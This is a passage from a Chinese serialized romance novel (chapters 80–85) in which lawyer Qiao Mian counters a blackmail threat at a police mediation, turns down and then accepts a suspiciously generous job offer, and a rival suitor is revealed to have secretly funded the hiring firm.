霍宴北眉眼一压,看向乔眠,“我给你的东西,你一样不收,却收了他的手链?” 第80章 追求你 乔眠这才想起来,一直没找到合适的机会,把那条手链还给顾淮年。 不过,面对霍宴北的质问,她觉得没必要跟他解释。 也没理会顾淮年,只是冷笑着问了一句:“霍总,您这次又把顾大律师搬出来,预备怎么对付我?” 没等霍宴北开口,被无视的顾淮年,走到她跟前:“乔律师,你对我未免也太冷淡了吧?” 乔眠蹙眉:“我们很熟吗?” 顾淮年勾唇:“怎么不熟?我不是一直在努力追求你?” 乔眠就像听到一个惊悚的鬼故事一样,起了一身鸡皮疙瘩,瞪他一眼,转身进了警局。 “乔大美人,我是认真的……” 顾淮年抬步就要跟上去时,霍宴北身体一横,走在他前面。 挡住了他追随乔眠的视线。 顾淮年啧了一声:“不就是开个玩笑,你至于黑脸吗?” 霍宴北冷他一眼,“你送她东西了?” “是啊。” 顾淮年嬉皮笑脸:“十五万的限定款手链呐。” 男人眉头一拧:“你确定她收了?” 顾淮年得意的扬了下眉梢:“反正她没退回来,女人嘛,哪个能拒绝珠宝的诱惑呢,悬剑再牛,不也是一个女人?” 霍宴北懒得跟他废话,回到正题:“等会尽量争取调解。” 顾淮年拍着胸脯,“我保证乔眠乖乖撤案。” 霍宴北轻扯了一下唇角,没有说话。 两人走进调解室时,警察正好把监控视频调了出来。 乔眠正坐在电脑前,随时等着看监控。 霍宴北和顾淮年走过去坐下后,警察将提前截取的一截监控视频打开。 视频里,众多嬉闹的孩子中,乔眠精确捕捉到女儿乔慕心和霍思念的身影。 随着视频一帧帧播放,乔眠的脸色越来越愤恼。 所谓的乔慕心撞倒了霍思念的真相是—— 当时,乔慕心从三层的旋转滑梯往下滑时,霍思念突然下面的滑梯往上爬。 乔慕心滑到一个急转弯时,看到滑梯中间爬着的霍思念时,怕撞到她,立马抱住了旁边的扶手。 整个小身体挂在滑梯上。 而霍思念因为受到惊吓,从滑梯上倒摔了下来。 这才磕到了脑袋。 从始至终,乔慕心压根就没撞到霍思念…… 之后的一段视频,就是霍思念哇哇大哭,安全员走过来,询问安抚她的画面。 大概霍思念自己都吓懵了,以为是滑梯上面的乔慕心撞了她,所以,安全员问是谁撞到她时,她指了乔慕心。 然后就是安全员抱着哭的哇哇大叫的霍思念,找到蒋芸,沟通孩子受伤一事的画面。 最后一段视频,是蒋芸朝乔慕心脸上打了一巴掌的清晰画面。 看完几段视频后,乔眠冷着脸看向霍宴北,“霍先生,您也看清楚了,我女儿并没有撞倒您女儿,却招来您家属不分青红皂白的一巴掌,您现在还有什么可说的?” 尽管已经克制着情绪,但是说话时,语气里明显带着一股恼意。 霍宴北薄唇紧抿,一时间没有说话。 顾淮年也没有想到是这个结果。 原本打人理亏的蒋芸,现在就更不占理了。 之后,霍宴北打了一通电话,跟警察单独聊了几句后,警察让几人坐下来,走调解流程。 “乔女士,霍先生那边的意思是,蒋芸女士愿意诚恳的给您道歉,并补偿医药费,以及精神损失费。” 说完,顾淮年开口,“乔眠,我这边很有诚意,还有什么条件,你尽管提。” 乔眠没理顾淮年,直接对警察说,“警察同志,我不接受调解,既然案子已经调查清楚了,那么走司法程序吧。” 警察迟疑了一下,看向霍宴北。 虽说执法从严,但是,他办了这么多案子,还没见过一个女人,敢硬刚堂堂的霍家掌权人。 放眼整个京市,谁又敢得罪霍家? “警察同志,可以让我们单独聊聊吗?” 霍宴北问。 警察点点头,出了调解室。 乔眠沉默不语,静等对方出招。 霍宴北亦是沉默。 身型慵懒的靠在座椅里,双手闲散交叠身前,很是从容淡静。 一副事不关己看戏的姿态。 顾淮年思虑数秒后,直接道:“乔眠,做事不给自己留一条后路,很不明智。” 乔眠冷笑一声,“所以,顾大律师想到什么招对付我了?” 顾淮年扬眉,“你之前收下那十万块钱的视频还在我们手里。” 乔眠唇角的冷笑更深,“顾大律师一天到晚除了威胁,就没有别的事情可做了吗?” 顾淮年笑了笑:“没办法,我也是忠人之事。” 乔眠看了一眼持续沉默的霍宴北,“霍总,如果我执意走司法程序的话,您是不是就真的会把那个视频曝光出去?” 男人歪了下头,“或许。” 乔眠眉头拧了一下,略停留了几秒钟后,从包里取出一纸协议,“霍总应该没忘记,那十万块钱,当时,我写进了补充协议里,已经两清了。” 男人拨弄着腕骨上那串核桃红手链,淡淡嗯了一声。 一副很是无所谓的样子。 顾淮年脸上的表情亦是如此。 乔眠一点都不畏惧,淡定的掏出手机,点开一段视频。 视频里,哑女案的当事人林霜,手持身份证,实名举报宋沉曾经恶意欺辱她,还曾吸食违禁品的证词。 乔眠一边将视频内容展示给霍宴北和顾淮年,一边说道:“你以为就你们做足了准备吗?” 顾淮年震惊的瞪大了眼睛,“我靠,你是怎么做到的?乔眠,你心思真够阴险的啊这个时候还能把哑女案翻出来,把宋沉拉下水?” 比起顾淮年的震惊,霍宴北脸上的表情淡静许多。 但是,脸色还是肉眼可见的沉了下去。 眉眼间隐隐露出的一丝不悦。 男人冷峻的五官紧绷着,声音冷得厉害,“乔眠,我之前警告过你,别动宋沉。” 乔眠收起手机,装回口袋后,靠在座椅上,虽然被他周身凛冽的气场震慑到,但还是故作镇定道,“你们如果不翻旧账威胁我的话,我也不会把事情闹得这么大。” 第81章 她赢了 说到这里,她目光平静却又凌厉的看着霍宴北,“虽然只是一个举报视频,但是,一旦公布出去,势必会引发大众舆论的讨论,说不得警方就会像再次介入调查,即便对宋沉调查不出什么,但是,经此一闹,名誉受损的是霍氏,还有整个霍氏股市吧?” 男人眼神冰冷的盯着她,“你敢公布出去吗?” 乔眠深吸一口冷气,“你们不给我活路,我还有什么不敢的?大不了最后闹个鱼死网破。” 霍宴北静静地盯着她看了良久。 乔眠跟他对峙几秒,垂下眼睫,语气平和一些说道:“霍总,这件事情,从头到尾,我都没有要与您针锋相对的意思,反倒是您们一直步步紧逼,才致使事情发展到这个地步,我所做的,只不过是自卫而已。” 说罢,看向顾淮年,“顾律师,现在怎么不说话了?” 顾淮年俊脸黑了黑。 现在他还能说什么? 已经被这女人捏住了七寸。 真是没想到,乔眠这个女人心思这么深,居然还能被她反手捏住痛处。 真是不负‘悬剑’这个名字。 果敢,也够狠。 但是,于他一个律师而言,今天是最拉胯,也是最丢人的时刻。 他从未这般颓丧过。 反观霍宴北,此刻,紧拧的眉宇忽然舒展下来,几不可查的勾了下唇角,“乔眠,你赢了。” 说罢,站起身,朝门口走去。 只是路过乔眠时,微微附身,在她耳边说了一句,“这笔账,上班后,我们慢慢算。” 乔眠脊背攸地绷得很直,连头皮都麻了一下。 等顾淮年也跟着一起出去,偌大的调解室只剩下她一个人时,乔眠后怕的松了一大口气。 擦了一把鬓发沁出的一层薄汗。 就像刚从战场上厮杀下来的士兵,满身疲累。 她呆坐了一会儿后,警察进来,说道,“乔女士,既然调解不成,麻烦把这张表填下,你就可以走了。” 乔眠填完表格后,问了一句,“那是不是会马上拘留传唤蒋芸?” 警察回道,“是的。” 得到肯定的答案后,乔眠心里一下子舒畅了许多。 她趁热打铁,申明诉求,“警察同志,我要求她在公共平台上公开道歉,并且补偿我女儿在医院检查的所有费用,还有精神损失费。” 警察:“好的,乔女士,赔偿这块你放心,至于道歉,如果对方不照做的话,警方也没有办法。” 乔眠点头,表示理解。 她其实没指望蒋芸那种人能够拉下脸道歉,但是,她态度必须强硬的摆出来。 显得不是那么好欺负的。 从警局出来后,已经中午了。 她给阮薇打电话,让她把孩子们带出来,还去昨天出事的那家商场。 昨天本来是带孩子们吃自助餐的,中途出了那档事情耽误了,今天打赢了一场仗,给孩子们补上。 她先抵达商场五楼,在休息区等了二十多分钟,阮薇领着孩子们来了。 两大两小进入自助餐厅坐下后,孩子们拿着盘子高兴的去取餐了。 阮薇一把挎住她的胳膊,一脸兴奋的忍不住问,“看你这么高兴,是不是案子有进展了?” 乔眠弯唇,把在警局发生的事情告诉了她,“蒋芸马上就要面临拘留,少则七天,多则十天以上,最迟明后天就能看到警方的通报。” 阮薇激动的差点跳起来,“真解气啊,就是不能亲手打那个死女人一巴掌,真遗憾。” 乔眠笑着戳了一下她的脑袋,“打回去就变成了互殴,再反被对方抓住把柄就是另外一种结果了。” “不管如何,眠眠,你真牛,把霍宴北打败了,我还以为霍宴北干预的话,咱们要吃哑巴亏了。” 说罢,阮薇高兴的拿起盘子拉着她起身,“走吧,今儿个好好吃一顿,咱们取餐去。” “你先去,我发个微信。” “好。” 卡座里只剩下乔眠时,她掏出手机,把林霜实名举报宋沉的视频删除了。 末了,给林霜发了一条微信。 【林霜,这次谢谢你肯帮我,视频我已经删除了。】 林霜很快回复,【乔律师,你之前为了我的案子东奔西走,还给我争取到了一笔补偿金,我一直很感激你,现在能帮到你,我很开心,视频删不删无所谓,即便公布出去,我也有勇气站出来指证。】 看到这条微信,乔眠欣慰的弯了弯唇角。 昨晚,她让林霜帮忙录了这个举报视频时,就没想到把这个视频公布出去。 她只是要拿这个视频吓唬霍宴北而已。 她太了解霍宴北了。 如果她真的不管不顾的把举报视频放到网上,且不说霍宴北会对她如何,但是,肯定会牵连到林霜。 林霜刚开启新的生活,她不满真的把林霜牵扯进去。 而且,她总觉得,霍宴北今天没用全力对付她。 要是搁以前,傲视一切的霍宴北怎会轻易就认输? 不,在他的字典里,就没有认输二字。 想到这里,不禁想起,霍宴北走之前,在她耳边说的那句话:“乔眠,上班后,这笔账,我跟你慢慢算。” 乔眠不由地打了一个寒颤。 这回,也不知道他会怎么给她穿小鞋? 不过,她现在懒得杞人忧天。 眼见孩子们端着一盘子美食回到座位上吃得很开心,她也拿着盘子取餐去了。 吃完自助餐后,阮薇有事先走了。 乔眠带着孩子们在商场的地下超市逛了小半天,最后才坐地铁回家。 回到出租屋时,晚上七点。 乔眠照顾女儿吃完药,又给她脸上擦了药膏后,回卧室,坐在电脑桌前,开始整理简历。 她没忘记,明天周一,要去同尘律所面试。 忙完后,她给周津南发了一条微信,【周总监,明天我临时有点急事,想请假半天可以吗?】 周津南很快回复,【可以。】 …… 某高档会所。 顾淮年坐在沙发上,一杯酒又一杯酒下肚,心情郁闷的厉害。 萧时夺过他手里的酒杯,“谁惹你了?” 顾淮年瞅了一眼坐在里面安静抽烟的霍宴北,更郁闷了,“说出来丢人啊,我和宴北今天被乔眠那个女人一对二ko了。” 第82章 你爱乔眠吗 “能让你们两个吃瘪,我倒是好奇发生了什么事情。” 萧时饶有兴趣。 顾淮年顾自给自己斟满酒,又灌了一大口后,绘声绘色的把整件事情的前因后果讲述了一遍。 萧时听后,一向温吞安静的性子,禁不住笑了起来:“淮年,是你之前太轻视乔眠了,别总拿你对以前那些女人的心态看待她,别忘了,她是律师,脑子自是好使。” “我是真没想到乔眠心机这么深,居然预判到我会出什么招,还提前做好了应对策略。” 顾淮年越说越气,“你说她平时看着跟小兔子一样挺好欺负的,没想到,阴险起来比我都狠。” “初次见她那回,她也是一副被我欺负惨了的柔弱模样,可背地里不仅摆了宴北一道,还差点把宋沉送进去,要知道那次哑女案诉成功的话,宋沉那小子至少一年打底呐!” 顾淮年喋喋不休个没完,萧时品着酒,意味深长的瞧着他谈起乔眠时,眼底越来明亮的神采,余光里扫了一眼寡默清冷的霍宴北后,纤尘不染的皮鞋踢了一下顾淮年,“我怎么听着,你是在夸乔眠呢。” “呃……我有吗?” 顾淮年抓了下额头,反应有些呆。 萧时耐人寻味的笑笑:“你哪里是生气,分明很欣赏乔眠。” 正喝酒的顾淮年被这句话呛了一口,接连咳了几声后,红着脸说:“我现在都恼死她了,怎么可能欣赏……她。” 说到最后,声音越来越低。 萧时再次瞧了一眼霍宴北。 原本稳坐泰山的男人,此时,脸色微沉,讳莫如深的眼眸变得极深。 他脑子里不禁再次想起,今天在警局,顾淮年提起送过乔眠一条手链的事情。 心里不免有些烦躁。 霍宴北晃了晃指间的酒杯,仰脖,抿了一大口。 甘醇的酒液侵入味蕾,却灼的喉咙泛起一丝苦涩。 酒杯重重搁在茶几上,男人抬手扯松了领带,拿起搭在沙发扶手上的外套,起身,朝门口走去。 出包厢后,点了一支烟噙在嘴角,用力吸了一口,缓缓吐出烟雾。 萧时跟出来,和他并肩而站,“淮年因为一个乔眠,郁闷的快把自己灌醉了,你倒是没什么反应。” 霍宴北刮他一眼,“想说什么就说。” 萧时从来不是一个藏事的人,喜欢有话直接说,“我只是不想兄弟之间因为一个女人闹的有隔阂,就像当年,宋蔓夹在你和淮年之间一样。” 当年,还在学校时,宋蔓和霍宴北虽然没有确定恋爱关系,却是所有人公认的一对情侣。 只有顾淮年不认可,疯狂追求宋蔓。 造就成了一段三角关系。 最后,宋蔓选择了霍宴北。 顾淮年为此很是神伤,打那之后就开始放飞自我,身边女人不断…… “无论是当年,还是现在,我从未束缚过宋蔓,她身心都是自由的。” 霍宴北身形慵懒的斜靠墙壁,仰起修长的脖颈,轻吐一口烟圈,淡声说道。 萧时不置可否:“那对乔眠呢?” 男人抽烟的动作微微一滞,顿了两秒后,薄唇轻启:“我想把她留在身边,做第二个阿妩。” 萧时叹气:“她再像霍妩,也只是乔眠,你强行把她留在身边,最终只会伤人伤己。” 霍宴北夹着烟的手摁了摁有些闷痛的额角,嗓音带着一丝沙哑:“我不会亏待她的。” 萧时知道他的头痛病又犯了,扶着他到休息大厅坐下后,认真的问了一句:“宴北,你爱过霍妩吗?” “……” 霍宴北一时怔住。 他从未认真想过‘爱与不爱’这个问题。 在他的世界里,爱是虚无缥缈的。 他母亲那么爱他父亲,可最后呢,父亲为了外面的女人,决然抛弃了他和母亲。 母亲的爱,最终只剩下无休止的等待和痛苦。 所以,他对感情的认知,只有想要与不想要的区别。 一如六年前,他只是想要阿妩乖乖陪在他身边就好。 从未想过爱她,或是不爱她这个问题。 甚至觉得这个问题毫无意义。 “我……不知道。” 半响,他回道。 萧时对他这个回答很意外。 在他的视角里,霍宴北曾经很宠霍妩,还很痴迷。 但是,却从未给过她名分。 哪怕在他们这些发小面前,也未曾定义过,霍妩是他女朋友。 唯一承认的身份,是妹妹。 萧时觉得,霍宴北在情感上挺割裂的。 甚至,有情感缺陷。 “那你爱乔眠吗?” 萧时再次抛出一个问题。 霍宴北沉吟片刻,回道:“不爱。” 萧时似笑非笑:“不爱……那你在宋蔓小姨这件事上,对乔眠放水?” 男人紧抿薄唇,没有说话。 萧时哼笑,“蒋芸打人,屁大点的事,以你的权势,还能保不下她?是你一开始就没想保蒋芸吧?所以,乔眠无论使什么招应对,你都无所谓,不是吗?” 霍宴北将烟捻灭在烟灰缸里,“这些年,蒋芸在宋蔓身边没少做一些搬不到台面上的事情,百荣公司以后要交到宋蔓手上,身边有个心术不正的蒋芸,不是好事。” 萧时扬眉,“是啊,蒋芸没少利用宋蔓裹挟你拿好处,给她涨点教训挺好。” 末了,又问一句,“接下来,蒋芸肯定要被拘留,你怎么跟宋蔓交代?” 霍宴北扯了下唇角,“连顾大律师都搞不定的案子,我又能如何?” 萧时笑,“淮年还口口声声抱怨乔眠心机深,实际上,最腹黑的是你这只狐狸。” 霍宴北望了一眼包厢的方向,“别让他醉死了,我先撤了。” 说完,起身离开。 萧时回到包厢,就看到顾淮年醉醺醺的在打骚扰电话。 “喂?乔大美人……你说话啊?” “我顾淮年从无败绩……却栽在了你身上,乔眠,老子很生气!” “你在听吗?敢不敢出来约一次?” “乔眠?乔律师!你等着,我现在就去找你……” 顾淮年抓着手机一顿狂吼后,踉踉跄跄的起身就要朝包厢外走。 萧时无语的一把将他扯了回去,“一个个都是神经病。” …… 出租屋。 乔眠盯着手机屏幕上的来电时,直接拒接。 第83章 她和别的男人一起请假跑了 刚才,顾淮年发酒疯,给她打电话,说了一些不着边际的醉话。 她挂断,他没完没了的继续打。 看时间已经十一点了。 她本就有失眠症,被吵醒后,还得依靠吃药才能入睡。 此刻,看到新一轮电话轰炸来袭,乔眠毫不犹豫的把顾淮年拉黑了。 …… 翌日。 清晨。 霍宴北是在病房的沙发上醒来的。 昨夜从会所回来,他没回别墅,直接来了医院陪女儿。 霍思念脑袋上的包已经消肿,但是,医生看完片子说有轻微的脑震荡,所以,才让霍思念留院观察。 “少爷,您醒了。” 来送早餐的张妈,见霍宴北醒了,指了下床头柜上的袋子,“这是给您带的换洗衣物。” 男人看了一眼病床上还在熟睡的霍思念,随口问了一句,“宋蔓呢?” 张妈回道,“宋蔓小姐早上接到她小姨一通电话后,着急忙慌的出门了。” 霍宴北神色微微顿了一下后,摁了摁闷胀的眉心,提着袋子去浴室换衣洗漱。 出来后,霍思念已经醒了。 “爸爸……” 霍思念坐在病床上,小小的一团,张开双手,声音糯叽叽的要抱抱。 霍宴北走过去,一把将女儿抱在怀里,语气温柔:“饿不饿?” 霍思念点点头。 张妈将早点摆在沙发旁边的茶几上。 霍宴北照顾女儿洗漱,又陪着她一起吃完早餐后,去医生办公室,询问孩子的情况。 医生说没什么大问题,再观察一天就可以出院了。 霍宴北回到病房,交代张妈照顾好霍思念后,离开医院去了公司。 抵达公司已是九点多。 此时,他走到总裁办公室门前,正准备进去时,下意识转头,望向对面的法务部。 没有在办公区看到乔眠的身影时,眉头微微蹙了一下。 走进办公室后,陈珂把一份文件放在他面前的办公桌上,“霍总,这份文件需要您签字。” 霍宴北利落签完字后,吩咐道,“等下通知乔律师去会议室开会。” “那个……乔律师请假了。” “因为什么请假?” 陈珂回道:“具体不太清楚……” 霍宴北把手里的文件重重撂在办公桌上,脸色有些沉。 陈珂忙问,“要不要我打电话问下?” 霍宴北皱了下眉,没有说话。 就是默许的意思。 陈珂当着霍宴北的面,立马给乔眠拨了一通电话。 只是,迟迟无人接听。 连续又打了两次,仍是无人接听时,陈珂再次询问,“霍总,要不要去她住的地方看看?万一乔律师生病了呢。” “不必。” 霍宴北将身体靠回座椅里,下颌线条紧绷。 昨天,她生猛活虎的赢了一场漂亮仗,高兴的厉害,怎么可能突然生病? 可是,她为何请假…… 男人突然有些烦。 开会时,注意到本该到场的周津南缺席时,霍宴北整张脸立时沉了下去。 陈珂也注意到了。 立马出去给人事部打电话确认。 挂断电话后,陈珂回到会议室,小心翼翼附耳汇报,“周总监……也请假了。” 霍宴北听后,原本沉冷的脸愈加沉了。 乔眠请假。 周津南也请假? 这俩人组团请假,是商量好的? 想到这里,男人黑沉沉的脸色,一瞬间又冷了几分。 一瞬间,整个会议室的温度都降了好几度。 众高层见总裁脸色不对,吓得一个个噤若寒蝉。 汇报工作时,小心翼翼的大气都不敢出。 会议持续了一个小时。 散会回到总裁办公室后,陈珂忙沏了一杯热茶递送到霍宴北面前,“霍总,要不,我派人查查乔律师今天去哪儿?” 男人抿了一口茶,重重的将杯子搁在办公桌上。 因过度用力,滚热的茶水溅落在手背上。 微微的烫意沁入皮肤,却好像通过血管,很快就钻进他的心脉,灼烧的厉害。 男人从牙缝中咬出三个字:“不必了。” “好吧。” 陈珂离开后,没过一会儿,霍宴北还是拿起手机,给乔眠发了一条微信:【在哪儿?】 半响,没有等到对方回复。 却等来了一通电话。 刚接通,就听到宋蔓带着哭腔的嗓音,“宴北,我小姨被警察带走了,怎么办?” …… 乔眠来到同尘律所时,发现不止她一个人面试。 更没想到律所挺大的。 鸿鑫大厦写字间,十七楼。 整个一层都是同尘的办公区。 此时,乔眠和另外三个面试的人在休息室等人事叫名。 临近中午,另外三个人面试结束后,她才被叫进人事办公室。 “不好意思,久等了,乔律师。” 一个西装革履,近三十岁,长相周正的男人,面带微笑的招呼她坐下,“请坐。” 乔眠拉开椅子,拘谨坐下。 男人带着审视的目光,将她打量了一遍后,眉梢一挑,自我介绍,“乔律师,我叫岳臣,是同尘的合伙人之一。” “您好,岳律师。” 乔眠点了下头,称呼道。 岳臣仔细翻看了一遍她的简历后,说道,“乔律师自考大学毕业,又通过司法考试,拿到从业律师证,挺励志的。” 末了,补了一句,“我们同尘看重的不是花里胡哨的高学历,注重的是能力,我看过乔律师在荣华代理过的一些案子,很不错。” 乔眠客气弯了下唇,“谢谢。” 岳臣再次阅览了一遍简历后,说道,“同尘需要乔律师这样的人才,并且保证薪资待遇会比你在荣华高,乔律师愿意加入同尘吗?” 乔眠听后,有些诧异。 她准备了一堆面试要说的话,但现在听岳臣的意思,她被应聘上了? 乔眠迟疑了一下,问道:“岳律师,您没有其他要问的吗?” 岳臣淡笑:“乔律师很优秀,又有工作经验,我们同尘刚成立,急需乔律师这样能力出众的律师加入。” 乔眠抿唇,“谢谢贵所的看重,但是,您看过我的简历应该知道,我现在还是在职状态,没办法立马来同尘。” 岳臣扬眉,“只要乔律师愿意加入同尘,其他问题都不是问题。” 第84章 离开霍氏 “我……” 乔眠认真思考了几秒后,说道,“非常感谢您对我的认可,但是,我和荣华律所的合约还有半年,所以,即便加入同尘,恐怕只能半年以后……” 岳臣沉吟片刻,说道:“我这边是希望乔律师尽快入职同尘,至于你在荣华的合约问题,同尘可以帮你解决。” “等下……” 乔眠有些惊愕,“岳律师,您可能还不太了解我的情况,我如果现在从荣华离职的话,是需要赔偿违约金的。” 岳臣淡笑,“违约金是多少?” 乔眠:“六十万……” 岳臣听后,连眼睛都没眨一下,说道,“乔律师尽管安心办理离职手续,同尘会买断你的劳务合约。” “啊?” 乔眠有些失态的惊呼出声。 如果不是亲眼所见这么大的律所摆在这儿,她严重怀疑自己误入了诈骗窝点。 天上不会掉馅饼这个道理,她懂。 她也有自知之明。 自己不过是一个没有名气的普通小律师,也没办过有影响力的大案子,更不是什么知名大状,需要被高价挖走。 同尘居然肯花六十万给她赎身? 六十万呐,是她年薪的好几倍。 乔眠觉得这么好的事情发生在自己身上,太戏剧性了。 很不真实。 “岳律师,不好意思,我实在好奇,论工作能力和经验,我实在算不得优秀,贵所花钱买断我的劳务合约,是为什么?” 岳臣一眼看穿她的担忧,起身,倒了一杯水递给她,“乔律师,别紧张,也无需多想。” 乔眠接过水杯,低声道了句谢谢后,听着岳臣继续说下去,“高薪挖人才,在各个行业领域中都很常见,乔律师不必妄自菲薄,同尘看重你,也是因为你有你的优秀之处。” “……” 被岳臣赞扬,还被捧这么高,乔眠并没有太欣喜,反而很有压力。 她是一个自我认知很清醒的人,不明白同尘这么看重她的原因,她无法心安理得的接受岳臣抛来的橄榄枝。 总觉得哪里不对劲。 但又说不上来。 不管如何,她不能为了一时利益,冲动答应下来。 乔眠捏着水杯的白净手指紧了紧,“抱歉,岳律师,真的很感谢贵所的诚意,也非常感谢您对我的欣赏,但是,同尘替我买断解约合同一事,我需要郑重考虑一下,再答复您。” 说罢,将杯水放在桌案上,缓缓起身后,朝他颔首致谢,“真的很谢谢您,岳律师,您先忙,我不打扰了。” 说罢,乔眠转身朝门口走去。 岳臣没想到同尘开出这么好的条件,还会被乔眠拒绝,怔了几秒后,转头,望了一眼里间半敞开的办公室。 叮一声,手机屏幕弹出一条微信消息。 他快速打开看完后,抬步走出人事部,在电梯口拦住了乔眠。 “乔律师,不好意思,刚才我好像有些话没有表达清楚,方便聊两句吗?” 乔眠受宠若惊的看着拦住她的岳臣,“您请说。” 岳臣看了一眼即将上来的电梯,“要不,还是去办公室聊吧。” “好。” 回到办公室,重新坐下后,岳臣率先开口,“乔律师,我们同尘律所将来要和法援机构合作,会经常接触一些聋哑弱势群体,帮助他们解决法律上的困难。放眼国内,手语律师屈指可数,而你就是稀缺的手语律师,这也是同尘急需你这样优秀的手语律师的原因。” 乔眠听后,眉宇间的疑惑逐渐散去一些,“同尘能够助力于弱视群体,让我属实钦佩,只是……” 说到这里,乔眠平静的目光一点点凝在岳臣脸上:“我的简历上并未写明自己会手语,而岳律师却直言我是手语律师,好像一早就知道我曾是法学手语专业出身似的,这一点,岳律师可以解释一下吗?” 岳臣脸上的笑意一点点敛去,搁在桌上的双手紧紧交叉在一起,下意识扭头,又瞅了一眼里间办公室的方向。 乔眠自然没放过岳臣脸上不太自然的细微表情,随着他的目光落过去。 这才注意到,办公室里面还有一间办公室。 门半敞,她坐的位置,虽然看不清里面,但是,隔着一旁半透明的磨砂玻璃墙,隐约可见办公室里面坐着一个人。 看岳臣看向那间办公室时的表情,她猜测,里面那个人或许是他的上司…… 方才卸下的心防再次提了起来。 正当她凝神时,岳臣回头过来,组织一番措辞说道,“现在很多单位和公司聘用人才时,对面试者的工作经历和背景都会做详细的背书,这一点,没什么可奇怪的。” “毕竟,这个圈子并不大,互相有交集的同学或是朋友比比皆是,比如贵所的陈庆律师,就是我之前的大学同学,稍微一打听,自然就知道乔律师是手语律师。” “听闻,前段时间,乔律师还接了一个哑女案呢。” 听完岳臣这番话,乔眠心底的疑云彻底散了,面露愧色,“岳律师,不好意思,可能是职业病吧,我这个人有点较真,别见怪。” 岳臣悄悄擦了一把鬓角沁出的汗渍,附和的笑着说:“较真好啊,咱们律师的特性就不是要处处注重细节嘛。” 尴尬解除,乔眠放松了许多,“不过,我很惭愧,那件哑女案,最后不了了之了。” “听闻哑女案涉及霍氏集团霍总的小舅子,有那样的大人物施压,乔律师能够全身而退,还被派去了霍氏驻点工作,已属不易。” “……” 乔眠怔了一下。 没想到岳臣竟然知道这么多。 不过,转念一念,他兴许是听他那大学同学陈庆说的…… 两人聊了几句额外话题后,岳臣言归正传,“乔律师,我希望你认真考虑一下,加入我们同尘律所,真的很期待和你一起共事。” 乔眠也觉得和岳臣聊得很投机,也没避讳自己的心思,坦言道:“天下没有白吃的午餐,贵所开出这么好的条件,对于我来说,确实是个巨大的诱惑,但是,我还是需要认真考虑一下再做决定。” 岳臣听出她仍是有婉拒之意,正要再开口劝时,手机响了一下。 第85章 他找到了她住的地方 屏幕上跳出一条新的微信。 岳臣看完后,很快调转话锋,“乔律师,怪我没解释明白,同尘买断你在荣华的劳务合约,并不是免费的。” 乔眠眼神微滞。 总觉得岳臣思维转圜的过快。 有些怪怪的。 不过,她没想太多,问道,“那是需要我付出什么条件吗?” 有条件,她反倒觉得合理。 岳臣:“同尘替乔律师付的违约金会按月或是按年,从乔律师的薪水中扣除,具体按多少比例扣除,你来决定,而且,你入职后,同尘不会用劳务合同年限,以及违约金限制你,哪怕你中途想离职,那六十万,也可以慢慢偿还。” 乔眠仔细听完后,眼底燃起一抹幽微的光亮。 这条件,真的很人性化。 虽然她完全可以在霍氏坚持半年,省下这六十万的违约金债务。 但是,只要一想到还有半年时间,要跟霍宴北在一起共事,甚至会被迫跟他纠缠在一起,沦为他的情人…… 她觉得,别说六十万,就是付出更大的代价,她也要远离他。 现在同尘抛出的诱饵,是唯一能够解决她难题的办法。 虽然,还是对同尘对她‘过分欣赏’这一点心存疑虑,但是,这是她唯一能够顺利离职的机会,她没有理由错过。 乔眠心一横:“岳律师,我愿意加入同尘。” 岳臣松了一口气,朝她伸出一只手,“乔律师愿意加入同尘,真的太好了,那你尽快申请办理离职手续,到时候同尘会把六十万块钱打到你账上。” “嗯。” 乔眠点了下头,继续道,“这六十万块钱,到时候一起写进我和同尘的劳务合约中,具体细节,后续我们再商讨。” “好。” “那加下微信吧,之后有什么事情,我们随时沟通。” “好。” 加完微信后,岳臣将乔眠从出办公室。 折回来后,径直走进里间办公室,一副刚打了一场硬仗的架势,颓累的瘫坐在沙发上,指着自己还沁着汗珠的额头,苦大仇深的睨了一眼身旁悠闲喝茶的男人,“周津南,对付一个女人,简直比我高考……不,比司法考试还TM难搞!” “乔眠这个女人也忒聪慧敏锐了,刚才几次被她反问,我愣是一句话都说不出来,幸好,你有你这个幕后军师发微信指导,若不然,我就把你设的这场局给搞砸了。” 说罢,又指了指自己的胳膊,“瞧见没,鸡皮疙瘩还在呢!她也太难对付了。” 周津南眉梢轻挑,“你是不了解她,她上高中那会儿,学习成绩特别好,人也特别聪明。” “既然是个聪明人,干嘛不直接接受那六十万块钱?好处不拿,不是傻子吗?” 周津南面色温润的笑了一下,“所以啊,你不了解她,她这个人很敏感,主动且免费送到她手里的,她不可能要。” 岳臣啧了一声,“你想帮她离职,从而离开霍氏,怕自己亲自给她六十万块钱,她不肯收,所以,为了她,你开了同尘律所,又拐弯抹角设了一个局,通过这种方式帮她呗。” 说到此处,岳臣摇头笑笑,“周津南,你为了乔眠拿出了你全部身家,值得吗?” 周津南目光坚定,“值得。” 末了,又补了一句,“六年前,若不是我失信于她,或许她就不会过得如此艰难,更不会再次和那个人牵扯上。” 说到这里,他眼眶微微潮湿,眼尾泛红,“是我当年没有担当,才没有保护好他,这次,为了乔眠,哪怕付出再大的代价,我也要还她一份安然的生活。” 岳臣都被他感动到了。 他和周津南是大学同学。 两人无话不谈。 他知道周津南所有的事情,自然也知道周津南心里一直搁着一个姑娘。 所以,他理解他。 岳臣拍了拍周津南的肩膀,“现在你的目的也快达到了,你打算什么时候跟她相认,并且告诉她,是你在幕后帮她的?” “等她入职同尘后,我再跟她相认吧,至于我帮她这件事……” 说到这里,周津南警告的眼神看向他,“不要让她知道。” “行,痴情种!” 岳臣勾住他的肩膀,忽然嘿嘿一笑,“不过,你小子眼光毒啊,乔眠长得真是漂亮啊,以后在咱同尘,光是一天看着心情就美丽啊。” 周津南撞了下他的胸窝,“多看她一眼,小心我把你眼珠子扣出来。” “啧啧,瞧你酸吧样子吧,你小时候就暗恋的女神,我哪敢打主意儿?” …… 乔眠从同尘律所出来后,已经是下午两点。 坐上地铁后,才掏出手机看到几个未接电话。 是陈珂上午打的。 那会儿,她在同尘律所,手机一直静音。 所以,没接到电话。 也不知道陈珂找她什么事情,乔眠想了想,回拨了回去。 陈珂接到电话时,正在总裁办公室。 他主动点开了免提,把手机放在了总裁面前的办公桌上。 手机里传来乔眠轻柔的声音,“陈特助,不好意思,我才看到您的电话,您找我是有什么事情吗?” 陈珂看了一眼面色发沉的霍总,寻了一个借口,“那个……上午那会儿,有份合同需要找你拿,所以给你打了电话。” “哦,合同文件都在我办公桌上,你需要什么,让何眉帮你找下,可以吗?” “我找到了。”陈珂尴尬的撒谎,眼见霍总瞪他一眼时,立马问到正题,“对了,乔律师,你今天为什么请假呀?” 